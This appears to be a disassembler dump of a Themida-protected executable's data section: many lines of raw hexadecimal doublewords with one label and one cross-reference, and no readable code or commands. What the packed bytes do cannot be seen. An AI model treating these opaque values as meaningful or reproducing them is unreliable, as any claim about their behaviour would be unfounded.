		dd 10E8h, 1C80F100h, 5493E39Fh,	8F46C84Fh, 8CDC143h, 0B75B5B6Ah
		dd 816661B4h, 8147D6E2h, 0A90E38E8h, 11E93Ah, 0F5600000h
		dd 0DE750940h, 2C54324Fh, 7C45D0E9h, 8BF84249h,	815160D9h
		dd 1A6417C8h, 810F5A21h, 2, 0BE615F52h,	9464B1h, 178E0Fh
		dd 12E90000h, 0DF000000h, 3507BB53h, 475AC8A3h,	2026003h
		dd 0BF0FA95Ch, 50BBF21h, 890F4780h, 5, 2FD08166h, 66D38AF8h
		dd 807E78BFh, 8E944D8h,	0D9000000h, 4DE79257h, 0F23FE2Dh
		dd 8A50F6BFh, 9E85BE8h,	33000000h, 3651675Dh, 2807B8BCh
		dd 0E9D48A60h, 0Fh, 0B750342Ah,	7072DACh, 647B8181h, 614FE0FDh
		dd 0C9C6815Eh, 0F512680h, 383h,	94C88000h, 1B800Fh, 820F0000h
		dd 15h,	0FE8h, 0E742FE00h, 50E7FF7Dh, 0D97430A0h, 532A43A2h
		dd 0D08B665Bh, 48C0Fh, 0BB660000h, 0BEBEADC9h, 6645BE81h
		dd 9770CE81h, 0DE81B966h, 66C88B66h, 66FC24BFh,	14E8F18Bh
		dd 0D2000000h, 3B7A5886h, 0AEDDA1DFh, 7599D892h, 5A7F51EEh
		dd 0B2E1F264h, 8F0F5A05h, 1Eh, 18850Fh,	13E90000h, 82000000h
		dd 398DB3BEh, 9526A3ABh, 5A887451h, 0F22B6887h,	6E9BF0Eh
		dd 5D000000h, 75A081Dh,	33B352BAh, 80BE665Fh, 0D68B660Bh
		dd 14E9h, 7240B800h, 0C9753296h, 5F1B3DDAh, 0FE9B5F3h
		dd 0A1959FFh, 11E8F55Dh, 0DC000000h, 4D1FFD3Dh,	72580E55h
		dd 0AECD379Eh, 6E7F85C2h, 0F9B0B966h, 0CA81605Fh, 40090572h
		dd 61CB8B66h, 66F08B66h, 95A9E781h, 8E0FCB8Bh, 5, 1AE68166h
		dd 668FB17Eh, 0E0D2DF81h, 55E78166h, 53B7B5E1h,	51FAB25Ah
		dd 4BC98166h, 52575BBAh, 605F5EFCh, 8B6164B3h, 95CF81DAh
		dd 8147D95Ch, 0A1BC87CAh, 0FD08B26h, 581h, 4E64BF00h, 0D98B615Eh
		dd 0C3D88160h, 815BE62Ah, 0D0D17ED8h, 6E9613Dh,	73000000h
		dd 8B0874D1h, 0ABE281F7h, 0F390A55h, 0F781D3BFh, 695953A0h
		dd 81F98A60h, 9D0276E8h, 0DE816120h, 0EADC93Fh,	63E4B7B9h
		dd 2BE6817Ch, 810FEDD4h, 55187AD7h, 98C0F51h, 0F000000h
		dd 384h, 0F8BF0F00h, 0F9CDB80h,	0D680D8B7h, 0D7816624h
		dd 0EA8A36AEh, 0F62DF80h, 8B66C0BFh, 50BB66F0h,	0E881660Ch
		dd 0B70F5909h, 0D1B7F5C8h, 6691EB80h, 3CC8EE81h, 0A7DCE881h
		dd 0B70F5632h, 0F5E51F0h, 8Dh, 0DE900h
		dd 0C01A0000h, 7865C956h, 53DD44DFh, 66C85631h,	5A6AE981h
		dd 6234BA66h, 7BA52F8h,	5B472201h, 944AF081h, 11E921FBh
		dd 0A7000000h, 988C488Eh, 471AB9EBh, 186A7943h,	0BEC81737h
		dd 118A0Fh, 0CE90000h, 53000000h, 0E418F163h, 3E8E456Ah
		dd 0E91BD150h, 0Bh, 0EFD92B85h,	88017E79h, 0E9B19B41h
		dd 0Eh,	86D1754Ah, 3D4CB49Dh, 349AC76Dh, 0B70F1E40h, 0F78B5CBh
		dd 5E8F6B7h, 0F1000000h, 20A56E9Fh, 68C0Fh, 0C2810000h
		dd 5461764Ah, 0C881665Bh, 0E856B044h, 0Fh, 56083998h, 4535D941h
		dd 0E796E1CFh, 8B748A71h, 0E85A5FC1h, 12h, 183CD745h, 0AEBF9649h
		dd 0E2844D1Ch, 8D3DAC67h, 3DBA5E93h, 5E348801h,	0BE9h
		dd 0E14E9700h, 96E7E567h, 0E6402C5Dh, 0F5EFC53h, 284h
		dd 0F533B000h, 0BAD881FCh, 800C9AC5h, 81667DD4h, 811EE0F6h
		dd 3DD195D3h, 13E8602Ah, 0AF000000h, 0B15F292Fh, 3F03347Bh
		dd 0A45910E7h, 0EB0C53C2h, 880FB61Dh, 0
		dd 0C9BF0F58h, 0AE961h,	0D6930000h, 18418779h, 0AF71F254h
		dd 0E8C2BF0Fh, 12h, 9F53C31Ah, 77081090h, 0C3D20A6Ch, 0C4F749CBh
		dd 850FAE67h, 5, 81A790B8h, 0D88B5900h,	8E98CB7h, 0A3000000h
		dd 2C7B092Eh, 0BE039EA6h, 56BDDE97h, 0CE9h, 93CF8700h
		dd 5AC06E80h, 3BEDFE4Fh, 0C88060F8h, 0BE988h, 85980000h
		dd 0E0AF595Dh, 0B7B84CC1h, 81666104h, 8AB3C1E1h, 801CBFCFh
		dd 8B660AE1h, 8E8DEh, 131F0000h, 3FDDB8C2h, 830F7E51h
		dd 13h,	0EE9h, 6DD12A00h, 45480D73h, 241E3F24h,	5A64B19Eh
		dd 8166F560h, 61C665C3h, 0FD88B66h, 385h, 11F68000h, 66FCCA8Bh
		dd 0B7AFCE81h, 1917DE81h, 6E91F7Ah, 39000000h, 0BA82F257h
		dd 4FB86674h, 66516090h, 805BDF8Bh, 0F61B5EEh, 0BF0FF2B7h
		dd 81F9F8F8h, 70F09BCAh, 0A7D1813Dh, 0F4FCB13h,	850FC1B7h
		dd 0Ah,	810F60h, 56000000h, 8166615Bh, 6691DDDBh, 0F849DB9h
		dd 1380h, 0D830F00h, 0E8000000h, 7, 4EDE12B5h, 5B85176Ah
		dd 61D28166h, 198A0F9Bh, 0E9000000h, 14h, 8D4F3FDBh, 9E32C99Dh
		dd 0C8DAB277h, 948E3B6Bh, 0E8942D33h, 840Fh, 0AEB80000h
		dd 0E871A559h, 11h, 0D53D44BFh,	52E271CFh, 87417C7Dh, 0E8AF1159h
		dd 5ACB8B52h, 66F88B66h, 8DACF181h, 0B9C08166h,	7DD6803Ah
		dd 5AC38A51h, 0F880F60h, 0E9000000h, 0Ah, 78194710h, 0BB3D3AE3h
		dd 61F9AD59h, 0EE816660h, 12E925F5h, 0D4000000h, 6363A5C3h
		dd 200DBB01h, 20ED1585h, 347EE2A5h, 9E86144h, 3F000000h
		dd 0C378F94Eh, 6220369h, 5AF0B70Fh, 0E1EA8166h,	0FABF0FF5h
		dd 64CDCBAh, 60D98A76h,	44D78166h, 6E8AFh, 87960000h, 84F6E354h
		dd 0BE8h, 49742000h, 7151086Ah,	8FDDC84Ch, 66615F5Eh, 6816CE81h
		dd 4BFCB966h, 9E8h, 0B6D77F00h,	0E7B40E39h, 0F95EF3CFh
		dd 4810Fh, 0BF660000h, 0F526F95h, 1281h, 0DE900h, 68070000h
		dd 221680ABh, 0E179589Bh, 5E0C2698h, 0E8DABF0Fh, 0Fh, 0E97CE5h
		dd 7E228B95h, 0A014FF74h, 0E819A314h, 0Bh, 5B28F816h, 3A2FEAE1h
		dd 0BA43E021h, 774272EAh, 0E960585Ah, 7, 0F03831DDh, 66F93E49h
		dd 61C53FBFh, 0D8C0Fh, 8E90000h, 0EE000000h, 6FB9D37h
		dd 608B2FE1h, 38C06DBEh, 10E86116h, 55000000h, 0FCF0450Ch
		dd 0E4F4DCB5h, 4A4914D6h, 8011C605h, 8158D4EFh,	0BF1CACE8h
		dd 0C28B6626h, 53CACB80h, 1F86BE66h, 49E68158h,	0E94A5A73h
		dd 14h,	972FFD8Dh, 6BC56701h, 6F160786h, 0EBB7A50Fh, 1D0FD75Eh
		dd 0E9FEBF0Fh, 8, 8A851FC5h, 0FAC4AC00h, 2850Fh, 0CE8B0000h
		dd 10E9h, 66844100h, 213B545Fh,	0D05F0217h, 0D284BD3Bh
		dd 0CE88Dh, 0FC5A0000h,	54F633C7h, 0AAA21600h, 0CB8B498Bh
		dd 0E9D68B58h, 9, 0CC5F8E54h, 0BF2B9308h, 0E9EF80ADh, 0B80EBB60h
		dd 0DE943AFh, 0C7000000h, 4D7FBA8Fh, 0BC945135h, 0BD5B9496h
		dd 138E0F61h, 0E9000000h, 0Eh, 131B317Eh, 3D71501Eh, 0C985FC60h
		dd 14E953CAh, 64000000h, 1D911551h, 8290E14h, 1AD93C26h
		dd 0A9A81467h, 51A16E23h, 1FA6D781h, 8B5F1B04h,	0DE8CAh
		dd 68F50000h, 0F51A17C9h, 0C0BFE8F2h, 8B495EC5h, 0C1B35AC6h
		dd 12E9h, 652F1B00h, 5C81280Eh,	0A2EFDCD6h, 0BC805189h
		dd 0F83FAD42h, 0EE9h, 0AE9E4B00h, 8E6A9FCDh, 6312D815h
		dd 56993C66h, 5FF9B70Fh, 0E08166h, 93CA818Eh, 0F2C9B76h
		dd 18Ch, 0D78AF800h, 3820Fh, 0BF0F0000h, 4870FC1h, 66000000h
		dd 0B55DEFBAh, 5B5260A8h, 1810Fh, 61F50000h, 0FD78B66h
		dd 1A8Bh, 0BA666000h, 0FE9E402h, 74000000h, 93DF5D5Bh
		dd 42944FD0h, 0CD380415h, 60618C79h, 6E9h, 0D7068900h
		dd 618964C7h, 0C1E9E181h, 8B0F2B35h, 6,	136BC381h, 12E943D7h
		dd 3D000000h, 40991D34h, 0FEC604Dh, 6EA7ECD8h, 0F33C607Dh
		dd 5E980h, 0F1C0000h, 66816F88h, 664E6CBBh, 0BE66D08Bh
		dd 0FCF8015Eh, 0FF9D48Ah, 38Fh,	0DE8B6600h, 9E860h, 0D20B0000h
		dd 77F7221Ah, 0BBBB0665h, 0D49CE74h, 0D7816659h, 81617577h
		dd 2ECE47D6h, 0FE973h, 32F50000h, 45A64512h, 0BF6198F2h
		dd 8DC2E6C3h, 80F38BF2h, 7E832CBh, 0B000000h, 90188DE0h
		dd 0BF66E933h, 665ABA9Ch, 8F0FD38Bh, 2,	870FD88Bh, 8, 0C1BF0F60h
		dd 61C78B66h, 0F023E881h, 81667F6Ah, 66DAE6D7h,	8B09C2BEh
		dd 13EB9D9h, 13E861F1h,	16000000h, 0E8AA0190h, 57912FC7h
		dd 2B32649Ah, 0D240581Ch, 10E98F71h, 3C000000h,	5C44DDCh
		dd 962E8690h, 9A0A4486h, 5FB25519h, 0CE9h, 7302A300h, 656B5238h
		dd 9444F8F2h, 0CD1DBF61h, 0B8667929h, 0C381574Ah, 3A25833Ch
		dd 0BE88CE80h, 4FFB2978h, 810FFE8Bh, 0
		dd 0EE953h, 0BB1B0000h,	21556E8Fh, 0BA6E5AA9h, 594F4BC8h
		dd 0EBDB815Fh, 6650AB2Bh, 0F18A2BBh, 81h, 5DC5BB00h, 0D080444Ah
		dd 0E780F9C3h, 48EA8102h, 0F905437Bh, 0E946B260h, 5, 0E4537A40h
		dd 0DF8B6107h, 3880FF5h, 80000000h, 0B70F50D3h,	2C810FCFh
		dd 0E8000000h, 0Fh, 473C3416h, 17A82285h, 94C80DF3h, 0E88D2005h
		dd 11h,	942BCAB1h, 0A46258DEh, 88E1491Dh, 0E6B1B0A1h, 665B5910h
		dd 263CEE81h, 60D8B70Fh, 850F51h, 5E000000h, 61D98B66h
		dd 8B66F8F5h, 48E0FD7h,	66000000h, 0B64170B9h, 96BF6685h
		dd 0FE950B2h, 18000000h, 0CAE9B687h, 0A2A5E073h, 31C5B557h
		dd 0B25F21B0h, 13E960E2h, 0E000000h, 0B21A4263h, 0BD0B357Fh
		dd 2DF8C154h, 2E4A383Bh, 860F5892h, 5, 9BC68166h, 840F61FBh
		dd 0Bh,	6E9h, 73667000h, 8B81A85Ch, 0D0F180DFh,	0E9AADF80h
		dd 7, 28879AE0h, 51D60C30h, 0F55AFB8Bh,	8D9DD981h, 14E94FE5h
		dd 0FE000000h, 8BE4D73Dh, 0E447A33h, 0A6941399h, 0F4ED61F6h
		dd 8060D337h, 0BF0F73C4h, 0B86660F0h, 13E9ECF7h, 0FA000000h
		dd 5AF5F210h, 94885E62h, 0B3120845h, 5A9E9F21h,	0F619B3Dh
		dd 880h, 28C0F00h, 50000000h, 69BA665Ah, 0C3BF0FF9h, 0F53F380h
		dd 0BB66DBBFh, 8E0FCB8Fh, 2, 0BF0F5EB1h, 0F28B66FEh, 53FA8B66h
		dd 2B4BCA81h, 0F5F6237h, 0E860F9B7h, 8,	24BE0DC1h, 0F2C2FDBEh
		dd 65DB8166h, 0CE95E6Fh, 0F5000000h, 628587FDh,	6C35964Fh
		dd 61BDE8C0h, 0C27DC381h, 8166255Dh, 57C20DDEh,	86BF6659h
		dd 6652603Ah, 4C85D781h, 6661F85Eh, 13E9F18Bh, 8B000000h
		dd 7EFD023Dh, 27B569BDh, 0A7896050h, 9DC027E5h,	31BF489Eh
		dd 661D7297h, 1906D381h, 235EF81h, 8B660EFCh, 89BF66F8h
		dd 80BB510Bh, 590B4A9Eh, 66DFB70Fh, 667BB3BBh, 6602B9B8h
		dd 0E88943BFh, 5, 5A8D3A53h, 0B6B0514Ah, 8B665F59h, 0E8C18BC3h
		dd 9, 78708398h, 0E7DE9D80h, 2880FC9h, 0B6000000h, 8166593Ch
		dd 0B98DC5C9h, 191294B3h, 0DBD5DA81h, 6053667Eh, 0D38B78B7h
		dd 81665E61h, 539201F6h, 5C0265B9h, 0BF0F5A0Fh,	0D0BF0FD1h
		dd 0CF8B31B1h, 22EB8166h, 5936B91Bh, 0E8806275h, 39EA818Ah
		dd 66326A1Ah, 0E9FCC38Bh, 6, 0F0D1576Eh, 0BA668328h, 0F6028ECh
		dd 0CF81CAB7h, 1D9CCF99h, 860F61h, 66000000h, 8BFD32BEh
		dd 816651D6h, 58E1AADBh, 0AE8h,	0E64D1600h, 0BACC11A4h
		dd 5BF24F9Eh, 10870Fh, 0BE90000h, 36000000h, 0A9EA337Bh
		dd 0C5E17C1Dh, 0BA66F5A5h, 8D0FD494h, 2, 0F60D88Ah, 28Fh
		dd 61616000h, 59CD80B9h, 0CA8BF83Dh, 7B82B966h,	7840Fh
		dd 890F0000h, 1, 9BC680F5h, 6677CB80h, 0FA259B9h, 48Ah
		dd 90BA6600h, 0DF8B664Ah, 11E8h, 11019900h, 0BEA64C27h
		dd 27187A0Fh, 74FA5A1Dh, 5BF5BA9Bh, 0F28B5853h,	11E9F5F8h
		dd 28000000h, 7C26C82Fh, 5C64ACA0h, 0DFB9962Bh,	55BE4C9Fh
		dd 5B575660h, 51D2815Eh, 6171F036h, 18E0Fh, 0FCF90000h
		dd 0FE935B6h, 3E000000h, 0E4C757B4h, 0C8AB97Bh,	0B3463410h
		dd 0E857FC95h, 7, 0F1193EE9h, 0B91D8476h, 0B7B86F9h, 0F18A5F58h
		dd 66F2B70Fh, 669F5CB9h, 8166F38Bh, 662A23E7h, 71A0C881h
		dd 0B11403BEh, 0FE86036h, 3B000000h, 6ADA047Fh,	15D6F77Bh
		dd 5F14ACF0h, 0C28B1AF2h, 840F5Ah, 61000000h, 870F60F8h
		dd 4, 3A75B866h, 52CBBE66h, 5810F61h, 0B8000000h, 3CD81EA5h
		dd 9BB95F50h, 816A668Eh, 6B02E7E0h, 0D7816633h,	816662F8h
		dd 8B57C7DEh, 0EF68BED0h, 20B546CCh, 860FF48Ah,	4, 3832BA66h
		dd 0C6B70FF9h, 77B1BB66h, 0E767EA81h, 81663233h, 817862D0h
		dd 0E8A65BDAh, 2A6FBE54h, 0DA8B744Bh, 0BB3A7ABBh, 5E947h
		dd 0B2000000h, 8BEA1C7Dh, 0E95B53D1h, 0Bh, 7832EB3Bh, 0C74F99D2h
		dd 0F529DACh, 0B866CABFh, 810FDA29h, 13h, 0EE9h, 20357200h
		dd 740A465Dh, 9DE545EBh, 66FFFED1h, 0F3C0D781h,	0E9C28166h
		dd 0D0816672h, 0ED80820Eh, 58C0FC9h, 66000000h,	6B47CA81h
		dd 1770C281h, 66FC0C72h, 660791BAh, 8B0FCF8Bh, 1, 0FFB70FFCh
		dd 8E9h, 0B24F5E00h, 55CCFA82h,	5840F17h, 56000000h, 5FF0E080h
		dd 10E957h, 23D0000h, 69BD7EFDh, 605027B5h, 27E5A789h
		dd 66589DC0h, 989EE681h, 83471CB9h, 1CC08137h, 0F81C9222h
		dd 0DE960h, 5E0C0000h, 7FCA4D32h, 0A8C02CDDh, 813DC445h
		dd 15A011E1h, 0BF0F617Fh, 12800FD3h, 0E9000000h, 0Dh, 779FD083h
		dd 0CA09CF7Dh, 4BEED93h, 8E950EBh, 37000000h, 613878B8h
		dd 5E25B7DFh, 69DE8166h, 0BE9C0h, 0EF420000h, 1A8292E8h
		dd 6179D872h, 12E84Eh, 0A1540000h, 87342F44h, 6E785ED2h
		dd 0D739E128h, 68B08280h, 615F5160h, 66F78B59h,	887BCB81h
		dd 0BE9h, 1F562E00h, 0D9F26Ch, 9341D025h, 0E9FE8B66h, 0Fh
		dd 0A80738EEh, 0C3904882h, 4F072581h, 0E9536E65h, 6, 7B1C3C3Bh
		dd 0C0B15FB1h, 0C1816657h, 0B35FD66Dh, 0E96AB2D2h, 0Ah
		dd 8CD8AFC1h, 0C283E288h, 0DE963C8h, 0A2000000h, 0D1C77A8Ch
		dd 0F8E2A7C0h, 8323ECD4h, 0D7782FBEh, 2810F34h,	8A000000h
		dd 38DA80F7h, 8BE5C580h, 38B0FC8h, 0F000000h, 0CE9C1BFh
		dd 2D000000h, 9A623E90h, 0F8638C01h, 6682716Fh,	0B1BFD18Bh
		dd 804BD8D1h, 0F56D5EBh, 0F55ACABFh, 71B866F8h,	6E9D8h
		dd 0A2D0000h, 0AC1F96E9h, 0D642C181h, 57601BBEh, 36E28166h
		dd 0E9615A51h, 9, 6A40004Eh, 3BE73049h,	9E94Ah,	7BC70000h
		dd 608E0F72h, 60589527h, 4FB7C081h, 0D7812AF8h,	7E5C117Eh
		dd 29F18061h, 0BEC8B70Fh, 57CE7CFBh, 3850Fh, 8B660000h
		dd 0CABBF8C6h, 0E936AB3Ah, 7, 0F4F69365h, 0F905406h, 6057C3BFh
		dd 8B0Fh, 61600000h, 0D9815861h, 65268701h, 0BE9h, 72A44900h
		dd 41AAE072h, 0FD82C725h, 11E9F8h, 0EC060000h, 34A5FA35h
		dd 0E8E08005h, 0EE4C6FDDh, 52D552CAh, 866E881h,	0E95F7560h
		dd 11h,	0E0F099ADh, 0AA19B938h,	0CCF0F590h, 3025A0CBh
		dd 536057C3h, 870F5Eh, 61000000h, 6890F59h, 56000000h
		dd 0F3D7BF66h, 36EA815Ah, 0F2B5469h, 1084h, 0BE900h, 8F380000h
		dd 40794905h, 55699DEDh, 0AE902h, 3630000h, 39A1A39Ch
		dd 2A834A17h, 0C38166F9h, 66523DE3h, 5B17C7BAh,	800Fh
		dd 0BF0F0000h, 10E9D9h,	0DFD90000h, 5DB1E9FFh, 0A43AD8EDh
		dd 3207A235h, 6660911Ch, 0B161F98Bh, 0FF50BE1Bh, 0BB6607E1h
		dd 8166DA18h, 0E96D33D0h, 9, 299FA25Dh,	6B48032Fh, 80D88BBBh
		dd 505014CEh, 0BE137BBh, 0B3595E60h, 8130B906h,	0BA6649A6h
		dd 0BA66540Ch, 49B8EB6Dh, 664FFDDEh, 0BF068DB9h, 4D6F3800h
		dd 0F920EF80h, 12E9F8h,	4EF60000h, 0D725D152h, 2C70779Ch
		dd 68FE5045h, 0DF923F08h, 0FF7BF0Fh, 7E9F7B7h, 6000000h
		dd 0F13C7E1Ah, 1BBEB623h, 603A8564h, 7118B966h,	0C3B70F61h
		dd 8166D08Bh, 0E94A11CEh, 11h, 8D508A35h, 3BB9AA08h, 0FB78C1D4h
		dd 74AB0C93h, 80B8666Ah, 0CE945h, 0B6560000h, 4181C7AAh
		dd 8BB95A52h
		dd 8F0FD5B6h, 3, 66D5DC80h, 80D6A7B8h, 6060DCE4h, 7AEE8061h
		dd 0F98AF861h, 575AF957h, 49D7805Bh, 66F08BF5h,	5250DA8Bh
		dd 66585AFCh, 0F0A76BFh, 580h, 0D9816600h, 8A0FEC32h, 3
		dd 0E9FE8B66h, 9, 130A2F7Ah, 8FF8031Fh,	168C0FC5h, 0E8000000h
		dd 0Fh,	47405356h, 4A9B64C9h, 885D1A2Fh, 0FC03CB2Dh, 48B0F5Eh
		dd 66000000h, 0FF5FDBFh, 0B70FF6B7h, 0B70F60F2h, 0D7B70FF1h
		dd 96BE6661h, 12870FF3h, 0E9000000h, 0Dh, 919802A6h, 21EE450Ah
		dd 0CE262ACCh, 90E78171h, 81533523h, 9CD88FD2h,	5E816h
		dd 2F5A0000h, 8A0C7E6Ah, 8B6658D9h, 52B0B1DFh, 0ABE68166h
		dd 0E96059D5h, 12h, 6131C4B9h, 75EE1116h, 70E1219Dh, 691FB956h
		dd 666156C7h, 0F5997DBAh, 0DE8h, 0BB124000h, 3D3EA524h
		dd 0B3407F97h, 0C681B3EFh, 7D394D88h, 5E958h, 48060000h
		dd 0E97BC9B4h, 12h, 5166AEA9h, 84BF0C27h, 7D37CE54h, 3C41430Fh
		dd 6ABF7BC2h, 0E9343E74h, 5, 8BAAA216h,	0FE949h, 55410000h
		dd 973CE4AAh, 0DBB3EC84h, 0E2382373h, 9ABE6613h, 0F7B70FD9h
		dd 9E960h, 7A730000h, 750A2184h, 800BFD91h, 0B961BBD5h
		dd 39796DBAh, 8E1BE60h,	0FA8B4D3Ah, 0AE961h, 86CE0000h
		dd 0F20774Ch, 0D843D8CCh, 14E8h, 0E488CE00h, 0BC97041Ah
		dd 98DBFA0Bh, 0C7181AD0h, 0F231971Fh, 9CABBEECh, 0E8586A19h
		dd 0Dh,	0FBE770h, 0F87BC5F7h, 5B91AB57h, 58F88B98h, 11E3D081h
		dd 0DE870E5h, 0A000000h, 4B762E26h, 0FC7306EDh,	129DEC2Eh
		dd 0A850Fh, 5E90000h, 2D000000h, 0C2C04603h, 11E85Fh, 49180000h
		dd 1CAEBF96h, 67E2844Dh, 938D3DACh, 6660CF5Eh, 591C91B8h
		dd 13E9h, 664E8200h, 0F479A5F1h, 0E7008B23h, 9E7E6C4Bh
		dd 154457EBh, 5E8h, 2FA0F500h, 0CE8BD110h, 3860F58h, 0F000000h
		dd 890FFAB7h, 3, 66D9BF0Fh, 9562E181h, 0E9C8B70Fh, 6, 0D2EC7567h
		dd 0F7806645h, 0C3BF66E0h, 12E96039h, 4D000000h, 4DA7212Bh
		dd 0EA94D76Dh, 0FCFE7CE4h, 4243BA0Bh, 7BBF573Ah, 5E2710ADh
		dd 8E961h, 0D4E70000h, 0F30223DDh, 50600E0Eh, 8E8h, 4A06F200h
		dd 25ECD6ACh, 0B95E5F04h, 382E788Fh, 9E961h, 6BC0000h
		dd 0CA6F6B6Ch, 0E879E519h, 12h,	2B4C1A1Ch, 0CB9FB466h
		dd 0E4901315h, 9254F862h, 5ABEAB56h, 5B7FE591h,	59C78B56h
		dd 0F5C38B66h, 48E0Fh, 0BF660000h, 0F5727F3h, 6659CBBFh
		dd 0E97D1CB9h, 0Ah, 56074690h, 7D8966D6h, 8AF84121h, 0F08166C3h
		dd 850F4C97h, 2, 8166B4B5h, 667167C1h, 0F871F6BEh, 19850Fh
		dd 14E90000h, 0D000000h, 5560ACDCh, 0FB4B34C3h,	8B542FE4h
		dd 3A1E1D43h, 0E939B3AAh, 0Ch, 0AD8EB2A3h, 0D6F9D433h
		dd 1584AE97h, 9E8h, 0FF110900h,	0EB02EB2Bh, 0FC5844FBh
		dd 0DE5842BAh, 59F55142h, 7F8EBE66h, 1810Fh, 0FFC0000h
		dd 86h,	0C18B6600h, 8B59F552h, 88B0FF8h, 60000000h, 850Fh
		dd 0B3610000h, 0BE85052h, 0A5000000h, 84CD8588h, 0E0D65862h
		dd 5A5F16EEh, 8E9h, 0FB8B0C00h,	0C246E524h, 5E9ADh, 19650000h
		dd 600A62CEh, 0E0DE8166h, 61D98B33h, 142BF281h,	80FC08E7h
		dd 53BAA5D9h, 8B706A51h, 0ABD480FBh, 0D3D28166h, 0DE840h
		dd 0F1510000h, 0CC99D13Eh, 0BE3F0482h, 52BD6166h, 9E8h
		dd 0D51C9600h, 0B5E3A968h, 5A5B5759h, 17D4805Bh, 0BE957h
		dd 597F0000h, 0EC11C499h, 0FE7193AEh, 0F5805F9Fh, 51DA8B7Ch
		dd 5BDE8B66h, 0DE9F960h, 19000000h, 0D1C242FBh,	0BCB4CD35h
		dd 0B36B80B6h
dword_5B8048	dd 0EE8A5761h, 840F5Eh,	0B9000000h, 298CC3Dh, 0ED5DF181h
					; DATA XREF: Themida_:0053D830o
		dd 0D98A44C2h, 6E8h, 8F862300h,	6657D983h, 0F6C2D781h
		dd 4FC2815Bh, 0F223C94h, 0EE9D9B7h, 1D000000h, 63A9E86Ch
		dd 0F4191B87h, 346E2C83h, 11E8F4h, 0C39F0000h, 36E62F86h
		dd 23BBEFEBh, 0E2DE5E80h, 8B484709h, 11BE59F9h,	6655C40Ch
		dd 0A5E5DB81h, 33B95060h, 5817ADD8h, 61E5C080h,	0E9FB8B66h
		dd 0Dh,	1A4416DAh, 97416CE4h, 0E7A5BF73h, 0AE9D6h, 0ADDB0000h
		dd 0F73CC4BEh, 0E205EEE1h, 8166D8B3h, 66C706E1h, 8B7DB9BFh
		dd 0B70F60D8h, 615E50F1h, 8BE5CE80h, 0BE8F8CBh,	0AB000000h
		dd 0D9A98E76h, 0A5F55F4Dh, 5BE95A5h, 5F3F0CB8h,	9E28166h
		dd 0FBB70F02h, 8840Fh, 800F0000h, 2, 8166F18Bh,	0F34AEF1h
		dd 587h, 9FEB800h, 0BF667E24h, 75B3CA5Eh, 7E960h, 3BE0000h
		dd 75115F49h, 5ED781F6h, 61576CE3h, 0E84E881h, 9E912B5h
		dd 85000000h, 2D40B921h, 7BFDC153h, 114CEF81h, 0BF0F5BD3h
		dd 10E8D1h, 809A0000h, 48DCC96Fh, 0F4A0343Ah, 948A9118h
		dd 0CB8140DFh, 23D2C22Dh, 0ACF08059h, 0DE860h, 0CCCB0000h
		dd 49C9654h, 10D554A1h,	0B12647C7h, 0BF0F5843h,	74B961D7h
		dd 664D5827h, 9621CA81h, 0BF66CF8Bh, 14E9D8A4h,	0E5000000h
		dd 0E88B2BDFh, 712244DEh, 5E4FBA7Fh, 8CF38853h,	0E9BA98D5h
		dd 8, 35CD9C95h, 625C6D1h, 3860Fh, 8B660000h, 8A5B51DFh
		dd 14E8D8h, 8E470000h, 0B2120128h, 6D42FC67h, 0C5BAFDA6h
		dd 9CC0A080h, 8B66810Eh, 8B6658C2h, 0D2BF66F0h,	0EE978h
		dd 0E7A10000h, 8F98B052h, 0C6EAAE65h, 0DCE0F448h, 0DF8BC28Bh
		dd 8A38F680h, 1FF081C1h, 0F5E20A5h, 85h, 0F606000h, 8Dh
		dd 13E96100h, 98000000h, 5A745B2Dh, 48FB14Bh, 159B656Ah
		dd 673768A3h, 8061986Bh, 0D88AFFF3h, 0BBD38B66h, 0C465ADCh
		dd 0CE851h, 0F49A0000h,	0D7A3AA0Ah, 0CE4CCFFAh,	0E58056BFh
		dd 665F5F9Ch, 0E202C281h, 0E960FB8Bh, 0Eh, 172CFAE2h, 0D1D48B67h
		dd 0B5FBDA57h, 8B661501h, 9E861C2h, 0B1000000h,	0FBF5BD72h
		dd 0E233137Eh, 890Fh, 665E0000h, 8BF04DB8h, 80DC8AD7h
		dd 0B96682C9h, 0CE9FFD6h, 97000000h, 0C301DB49h, 9386EF00h
		dd 50A0CDE9h, 6CDEEA81h, 8B5E7C63h, 13E9CFh, 42050000h
		dd 22429BDCh, 3336BE0Fh, 0E0C819B7h, 91C8E0A0h,	0E96052DAh
		dd 0Eh,	0B8F568E1h, 19F2AC26h, 0BF58317Dh, 8E996F0h, 0FC000000h
		dd 9991199Eh, 6183C90Ch, 0CCB8665Bh, 0BAACB755h, 4F79681Eh
		dd 0A903B6B9h, 13E83Dh,	0A0BC0000h, 54704FECh, 0AE2A24EAh
		dd 3C1EC7E1h, 0B364691h, 5B1FB6C4h, 8BD2BF0Fh, 0CE8F7h
		dd 71F40000h, 5D557219h, 1E191569h, 505822DEh, 0F5818B5h
		dd 58Ah, 0F3806000h, 60F961F4h,	3DDBFAB9h, 0D2BF0F2Ch
		dd 0FAE28161h, 0F605A43h, 28Fh,	0FF98B00h, 880FDEB7h, 0Bh
		dd 58C0Fh, 9BB90000h, 0E8701974h, 11h, 74BC1273h, 8B982CF5h
		dd 5FBDACE7h, 63E46FE5h, 0CA816650h, 8A59978Dh,	0F58060D7h
		dd 0F6BF0FB6h, 0F9C78B61h, 0CE9F9h, 7DCB0000h, 0E87D26FBh
		dd 1B3EDB50h, 8166A846h, 0E935E5D0h, 0Ah, 0F3413013h, 41BA7177h
		dd 0B966FBD5h, 870FFC43h, 6, 0CB76F381h, 8D0F2F74h, 8
		dd 2860Fh, 2EB40000h, 0E8F88BFCh, 10h, 3089037Eh, 0DFE812A7h
		dd 34C9F734h, 0B38C3109h, 6EE9F381h, 0E95B2435h, 10h, 61131450h
		dd 0A01F060h, 0A1C5A555h, 3532564Bh, 66DFBF0Fh,	0A644DF81h
		dd 6850F60h, 0F000000h,	85h, 6890F00h, 0F000000h, 8Ah
		dd 8B0F6100h, 3, 8004CE80h, 816685DBh, 0F3CBCDAh, 198Bh
		dd 14E900h, 2E470000h, 13C97CC5h, 1BBA73C4h, 0B5073B02h
		dd 673F83F5h, 850F5BE3h, 2, 0FB8BA9B6h,	56FB8B66h, 5FD08B66h
		dd 0BB95C980h, 4B869587h, 0E281F78Bh, 32855FD1h, 14D881F9h
		dd 0F6FBAE9h, 0BE9FEB7h, 54000000h, 941A54A0h, 0E5921D6Fh
		dd 0F5605F24h, 0E9616060h, 12h,	8749BB4Dh, 29A74D11h, 2B94307h
		dd 1108AAA1h, 6161D4E8h, 0E8DA8B66h, 12h, 60904F8Ch, 18F69FC9h
